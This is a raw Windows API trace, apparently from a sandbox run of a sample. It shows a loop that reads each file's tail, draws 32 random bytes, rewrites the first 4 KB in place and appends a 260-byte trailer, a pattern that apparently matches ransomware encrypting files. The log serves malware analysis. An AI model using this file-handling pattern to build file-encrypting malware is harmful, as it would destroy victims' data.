HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0079.177] GetProcessHeap () returned 0x540000 [0079.177] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0079.177] GetProcessHeap () returned 0x540000 [0079.177] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0079.177] GetProcessHeap () returned 0x540000 [0079.177] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0079.177] GetProcessHeap () returned 0x540000 [0079.177] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0079.177] GetProcessHeap () returned 0x540000 [0079.177] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0079.178] GetProcessHeap () returned 0x540000 [0079.178] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0079.178] GetProcessHeap () returned 0x540000 [0079.178] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0079.178] GetProcessHeap () returned 0x540000 [0079.178] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0079.178] GetProcessHeap () returned 0x540000 [0079.178] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0079.178] GetProcessHeap () returned 0x540000 [0079.178] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0079.178] GetProcessHeap () returned 0x540000 [0079.178] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0079.178] GetProcessHeap () returned 0x540000 [0079.178] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0079.178] GetProcessHeap () returned 0x540000 [0079.178] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0079.178] GetProcessHeap () returned 0x540000 [0079.178] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0079.178] GetProcessHeap () returned 0x540000 [0079.178] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0079.178] GetProcessHeap () returned 0x540000 [0079.178] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0079.178] GetProcessHeap () returned 0x540000 [0079.178] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0079.178] GetProcessHeap () returned 0x540000 [0079.178] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0079.178] GetProcessHeap () returned 0x540000 [0079.178] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0079.178] GetProcessHeap () returned 0x540000 [0079.178] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0079.178] GetProcessHeap () returned 0x540000 [0079.178] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0079.178] GetProcessHeap () returned 0x540000 [0079.178] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0079.178] GetProcessHeap () returned 0x540000 [0079.178] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0079.178] GetProcessHeap () returned 0x540000 [0079.178] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0079.178] GetProcessHeap () returned 0x540000 [0079.179] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0079.179] GetProcessHeap () returned 0x540000 [0079.179] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0079.179] GetProcessHeap () returned 0x540000 [0079.179] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0079.179] GetProcessHeap () returned 0x540000 [0079.179] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0079.179] GetProcessHeap () returned 0x540000 [0079.179] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x24) returned 0x330ace8 [0079.179] GetProcessHeap () returned 0x540000 [0079.179] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0079.179] GetProcessHeap () returned 0x540000 [0079.179] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x40) returned 0x331fdf0 [0079.179] GetProcessHeap () returned 0x540000 [0079.179] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x330ace8 | out: hHeap=0x540000) returned 1 [0079.179] GetProcessHeap () returned 0x540000 [0079.179] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1f70 [0079.179] GetProcessHeap () returned 0x540000 [0079.179] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331fdf0 | out: hHeap=0x540000) returned 1 [0079.179] GetProcessHeap () returned 0x540000 [0079.179] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x3345c08 [0079.179] GetProcessHeap () returned 0x540000 [0079.179] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1f70 | out: hHeap=0x540000) returned 1 [0079.179] GetProcessHeap () returned 0x540000 [0079.179] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0079.179] GetProcessHeap () returned 0x540000 [0079.179] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3345c08 | out: hHeap=0x540000) returned 1 [0079.179] GetProcessHeap () returned 0x540000 [0079.179] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0079.179] GetProcessHeap () returned 0x540000 [0079.179] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0079.179] GetProcessHeap () returned 0x540000 [0079.179] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0079.179] GetProcessHeap () returned 0x540000 [0079.180] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0079.180] GetProcessHeap () returned 0x540000 [0079.180] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0079.180] GetProcessHeap () returned 0x540000 [0079.180] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0079.180] GetProcessHeap () returned 0x540000 [0079.180] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0079.180] GetProcessHeap () returned 0x540000 [0079.180] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0079.180] GetProcessHeap () returned 0x540000 [0079.180] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0079.180] GetProcessHeap () returned 0x540000 [0079.180] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0079.180] GetProcessHeap () returned 0x540000 [0079.180] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0079.180] GetProcessHeap () returned 0x540000 [0079.180] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0079.180] GetProcessHeap () returned 0x540000 [0079.180] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0079.180] GetProcessHeap () returned 0x540000 [0079.180] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0079.180] GetProcessHeap () returned 0x540000 [0079.180] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0079.180] GetProcessHeap () returned 0x540000 [0079.180] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0079.180] GetProcessHeap () returned 0x540000 [0079.180] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0079.180] GetProcessHeap () returned 0x540000 [0079.181] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0079.181] GetProcessHeap () returned 0x540000 [0079.181] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0079.181] GetProcessHeap () returned 0x540000 [0079.181] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0079.181] GetProcessHeap () returned 0x540000 [0079.181] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0079.181] GetProcessHeap () returned 0x540000 [0079.181] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0079.181] GetProcessHeap () returned 0x540000 [0079.181] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0079.181] GetProcessHeap () returned 0x540000 [0079.181] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0079.181] GetProcessHeap () returned 0x540000 [0079.181] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x220) returned 0x3357d80 [0079.181] GetProcessHeap () returned 0x540000 [0079.181] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0079.181] GetProcessHeap () returned 0x540000 [0079.181] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333fef0 | out: hHeap=0x540000) returned 1 [0079.181] GetProcessHeap () returned 0x540000 [0079.181] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331f258 | out: hHeap=0x540000) returned 1 [0079.181] GetProcessHeap () returned 0x540000 [0079.181] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0079.181] GetProcessHeap () returned 0x540000 [0079.181] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331ef10 | out: hHeap=0x540000) returned 1 [0079.181] SetFilePointerEx (in: hFile=0x774, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.182] WriteFile (in: hFile=0x774, lpBuffer=0x3345b00*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x285fd44, lpOverlapped=0x0 | out: lpBuffer=0x3345b00*, lpNumberOfBytesWritten=0x285fd44*=0x100, lpOverlapped=0x0) returned 1 [0079.182] WriteFile (in: hFile=0x774, lpBuffer=0x285fd48*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x285fd44, lpOverlapped=0x0 | out: lpBuffer=0x285fd48*, lpNumberOfBytesWritten=0x285fd44*=0x4, lpOverlapped=0x0) returned 1 [0079.182] GetProcessHeap () returned 0x540000 [0079.182] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x41b1088 | out: hHeap=0x540000) returned 1 [0079.182] GetProcessHeap () returned 0x540000 [0079.182] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331ea88 | out: hHeap=0x540000) returned 1 [0079.182] GetProcessHeap () returned 0x540000 [0079.182] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3345b00 | out: hHeap=0x540000) returned 1 [0079.182] CloseHandle (hObject=0x774) returned 1 [0079.186] InterlockedExchangeAdd (in: Addend=0x40f168, Value=1 | out: Addend=0x40f168) returned 11 [0079.186] SetFilePointerEx (in: hFile=0x778, liDistanceToMove=0xfffffffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.186] ReadFile (in: hFile=0x778, lpBuffer=0x285fd4c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x285fd08, lpOverlapped=0x0 | out: lpBuffer=0x285fd4c*, lpNumberOfBytesRead=0x285fd08*=0x0, lpOverlapped=0x0) returned 1 [0079.186] SetFilePointerEx (in: hFile=0x778, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.187] GetProcessHeap () returned 0x540000 [0079.187] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x3345b00 [0079.187] GetProcessHeap () returned 0x540000 [0079.187] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x331ea88 [0079.187] SystemFunction036 (in: RandomBuffer=0x331ea88, RandomBufferLength=0x20 | out: RandomBuffer=0x331ea88) returned 1 [0079.187] GetProcessHeap () returned 0x540000 [0079.187] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x1000) returned 0x41b1088 [0079.187] ReadFile (in: hFile=0x778, lpBuffer=0x41b1088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x285fd08, lpOverlapped=0x0 | out: lpBuffer=0x41b1088*, lpNumberOfBytesRead=0x285fd08*=0x1000, lpOverlapped=0x0) returned 1 [0079.235] SetFilePointerEx (in: hFile=0x778, liDistanceToMove=0xfffff000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0079.235] WriteFile (in: hFile=0x778, lpBuffer=0x41b1088*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x285fd44, lpOverlapped=0x0 | out: lpBuffer=0x41b1088*, lpNumberOfBytesWritten=0x285fd44*=0x1000, lpOverlapped=0x0) returned 1 [0079.235] GetProcessHeap () returned 0x540000 [0079.235] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333fef0 [0079.235] GetProcessHeap () returned 0x540000 [0079.235] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0079.235] GetProcessHeap () returned 0x540000 [0079.235] RtlReAllocateHeap (Heap=0x540000, Flags=0x8, Ptr=0x333ff00, Size=0x20) returned 0x331ef10 [0079.235] GetProcessHeap () returned 0x540000 [0079.235] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0079.235] GetProcessHeap () returned 0x540000 [0079.235] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x333ff00, Size=0x20) returned 0x331f258 [0079.235] GetProcessHeap () returned 0x540000 [0079.235] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0079.235] GetProcessHeap () returned 0x540000 [0079.235] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0079.235] GetProcessHeap () returned 0x540000 [0079.235] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0079.235] GetProcessHeap () returned 0x540000 [0079.235] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0079.235] GetProcessHeap () returned 0x540000 [0079.235] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0079.236] GetProcessHeap () returned 0x540000 [0079.236] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0079.236] GetProcessHeap () returned 0x540000 [0079.236] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0079.236] GetProcessHeap () returned 0x540000 [0079.236] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0079.236] GetProcessHeap () returned 0x540000 [0079.236] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0079.236] GetProcessHeap () returned 0x540000 [0079.236] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0079.236] GetProcessHeap () returned 0x540000 [0079.236] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0079.236] GetProcessHeap () returned 0x540000 [0079.236] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0079.236] GetProcessHeap () returned 0x540000 [0079.236] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0079.236] GetProcessHeap () returned 0x540000 [0079.236] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0079.236] GetProcessHeap () returned 0x540000 [0079.236] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0079.236] GetProcessHeap () returned 0x540000 [0079.236] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0079.236] GetProcessHeap () returned 0x540000 [0079.236] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0079.236] GetProcessHeap () returned 0x540000 [0079.236] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0079.236] GetProcessHeap () returned 0x540000 [0079.236] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0079.236] GetProcessHeap () returned 0x540000 [0079.236] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0079.236] GetProcessHeap () returned 0x540000 [0079.236] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0079.236] GetProcessHeap () returned 0x540000 [0079.236] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0079.236] GetProcessHeap () returned 0x540000 [0079.236] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0079.236] GetProcessHeap () returned 0x540000 [0079.236] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0079.236] GetProcessHeap () returned 0x540000 [0079.237] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0079.237] GetProcessHeap () returned 0x540000 [0079.237] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0079.237] GetProcessHeap () returned 0x540000 [0079.237] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0079.237] GetProcessHeap () returned 0x540000 [0079.237] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0079.237] GetProcessHeap () returned 0x540000 [0079.237] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0079.237] GetProcessHeap () returned 0x540000 [0079.237] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0079.237] GetProcessHeap () returned 0x540000 [0079.237] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0079.237] GetProcessHeap () returned 0x540000 [0079.237] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0079.237] GetProcessHeap () returned 0x540000 [0079.237] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0079.237] GetProcessHeap () returned 0x540000 [0079.237] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x24) returned 0x330ace8 [0079.237] GetProcessHeap () returned 0x540000 [0079.237] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0079.237] GetProcessHeap () returned 0x540000 [0079.237] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x40) returned 0x331fdf0 [0079.237] GetProcessHeap () returned 0x540000 [0079.237] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x330ace8 | out: hHeap=0x540000) returned 1 [0079.237] GetProcessHeap () returned 0x540000 [0079.237] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1f70 [0079.237] GetProcessHeap () returned 0x540000 [0079.237] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331fdf0 | out: hHeap=0x540000) returned 1 [0079.237] GetProcessHeap () returned 0x540000 [0079.237] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x3345c08 [0079.237] GetProcessHeap () returned 0x540000 [0079.237] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1f70 | out: hHeap=0x540000) returned 1 [0079.237] GetProcessHeap () returned 0x540000 [0079.237] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0079.237] GetProcessHeap () returned 0x540000 [0079.237] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3345c08 | out: hHeap=0x540000) returned 1 [0079.238] GetProcessHeap () returned 0x540000 [0079.238] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0079.238] GetProcessHeap () returned 0x540000 [0079.238] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0079.238] GetProcessHeap () returned 0x540000 [0079.238] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0079.238] GetProcessHeap () returned 0x540000 [0079.238] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0079.238] GetProcessHeap () returned 0x540000 [0079.238] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0079.238] GetProcessHeap () returned 0x540000 [0079.238] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0079.238] GetProcessHeap () returned 0x540000 [0079.238] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0079.238] GetProcessHeap () returned 0x540000 [0079.238] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0079.238] GetProcessHeap () returned 0x540000 [0079.238] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0079.238] GetProcessHeap () returned 0x540000 [0079.238] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0079.238] GetProcessHeap () returned 0x540000 [0079.238] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0079.238] GetProcessHeap () returned 0x540000 [0079.238] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0079.238] GetProcessHeap () returned 0x540000 [0079.238] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0079.238] GetProcessHeap () returned 0x540000 [0079.238] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0079.239] GetProcessHeap () returned 0x540000 [0079.239] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0079.239] GetProcessHeap () returned 0x540000 [0079.239] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0079.239] GetProcessHeap () returned 0x540000 [0079.239] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0079.239] GetProcessHeap () returned 0x540000 [0079.239] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0079.239] GetProcessHeap () returned 0x540000 [0079.239] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0079.239] GetProcessHeap () returned 0x540000 [0079.239] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0079.239] GetProcessHeap () returned 0x540000 [0079.239] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0079.239] GetProcessHeap () returned 0x540000 [0079.239] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0079.239] GetProcessHeap () returned 0x540000 [0079.239] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0079.239] GetProcessHeap () returned 0x540000 [0079.239] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0079.239] GetProcessHeap () returned 0x540000 [0079.239] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x220) returned 0x3357d80 [0079.239] GetProcessHeap () returned 0x540000 [0079.239] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0079.239] GetProcessHeap () returned 0x540000 [0079.239] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333fef0 | out: hHeap=0x540000) returned 1 [0079.239] GetProcessHeap () returned 0x540000 [0079.239] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331f258 | out: hHeap=0x540000) returned 1 [0079.239] GetProcessHeap () returned 0x540000 [0079.239] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0079.240] GetProcessHeap () returned 0x540000 [0079.240] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331ef10 | out: hHeap=0x540000) returned 1 [0079.240] SetFilePointerEx (in: hFile=0x778, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.240] WriteFile (in: hFile=0x778, lpBuffer=0x3345b00*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x285fd44, lpOverlapped=0x0 | out: lpBuffer=0x3345b00*, lpNumberOfBytesWritten=0x285fd44*=0x100, lpOverlapped=0x0) returned 1 [0079.240] WriteFile (in: hFile=0x778, lpBuffer=0x285fd48*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x285fd44, lpOverlapped=0x0 | out: lpBuffer=0x285fd48*, lpNumberOfBytesWritten=0x285fd44*=0x4, lpOverlapped=0x0) returned 1 [0079.240] GetProcessHeap () returned 0x540000 [0079.240] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x41b1088 | out: hHeap=0x540000) returned 1 [0079.240] GetProcessHeap () returned 0x540000 [0079.240] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331ea88 | out: hHeap=0x540000) returned 1 [0079.240] GetProcessHeap () returned 0x540000 [0079.240] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3345b00 | out: hHeap=0x540000) returned 1 [0079.240] CloseHandle (hObject=0x778) returned 1 [0079.241] InterlockedExchangeAdd (in: Addend=0x40f168, Value=1 | out: Addend=0x40f168) returned 12 [0079.241] SetFilePointerEx (in: hFile=0x7c4, liDistanceToMove=0xfffffffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.241] ReadFile (in: hFile=0x7c4, lpBuffer=0x285fd4c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x285fd08, lpOverlapped=0x0 | out: lpBuffer=0x285fd4c*, lpNumberOfBytesRead=0x285fd08*=0x0, lpOverlapped=0x0) returned 1 [0079.241] SetFilePointerEx (in: hFile=0x7c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.241] GetProcessHeap () returned 0x540000 [0079.241] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x3345b00 [0079.241] GetProcessHeap () returned 0x540000 [0079.241] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x331ea88 